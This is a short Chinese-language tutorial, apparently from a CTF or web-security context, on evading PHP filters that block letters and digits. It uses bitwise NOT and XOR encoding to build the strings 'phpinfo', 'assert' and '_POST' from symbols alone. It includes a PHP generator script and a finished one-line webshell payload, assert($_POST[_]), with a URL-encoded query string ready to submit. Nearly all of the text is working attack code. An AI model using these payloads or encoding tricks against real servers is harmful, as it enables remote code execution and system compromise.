可以看出,自己对phpinfo取反,会产生一些不可见字符,可对phpinfo取反后再进行url编码。
取反脚本 <?php $a = urlencode(~'phpinfo'); echo $a; //%8F%97%8F%96%91%99%90
构造assert字符
第一种方法 %9E^%FF=>a %8C^%FF=>s %9A^%FF=>e %8D^%FF=>r %8B^%FF=>t %A0^%FF=>_ %AF^%FF=>P %B0^%FF=>O %AC^%FF=>S %AB^%FF=>T $_="%9E%8C%8C%9A%8D%8B"^"%FF%FF%FF%FF%FF%FF"; $__="%A0%AF%B0%AC%AB"^"%FF%FF%FF%FF%FF"; $___=$$__; $_($___[_]);
第二种方法
脚本
<?php $shell = "assert"; $result1 = ""; $result2 = ""; for($num=0;$num<=strlen($shell);$num++) { for($x=33;$x<126;$x++) { if(judge(chr($x))) { for($y=33;$y<=126;$y++) { if(judge(chr($y))) { $f = chr($x)^chr($y); if($f == $shell[$num]) { $result1 .= chr($x); $result2 .= chr($y); break 2; } } } } } } echo $result1; echo "<br>"; echo $result2; function judge($c) { if(!preg_match('/[a-z0-9]/is',$c)) { return true; } return false; }这个脚本可以将“assert”变成两个字符串异或的结果,通过更改shell的值可以构造出我们想要的字符串。为了便于表示,生成字符串的范围为33-126(可见字符)。
<?php $_ = "!((%)("^"@[[@["; //构造出assert $__ = "!+/(("^"~{`{|"; //构造出_POST $___ = $$__; //$___ = $_POST $_($___[_]); //assert($_POST[_]); ?shell=%24_+%3d+%22!((%25)(%22^%22%40[[%40[%22%3b%24__+%3d+%22!%2b%2f((%22^%22~{`{|%22%3b%24___+%3d+%24%24__%3b%24_(%24___[_])%3b
$_ = "!((%)("^"@[[@[";
$__ = "!+/(("^"~{`{|"; $___ = $$__; $_($___[_]);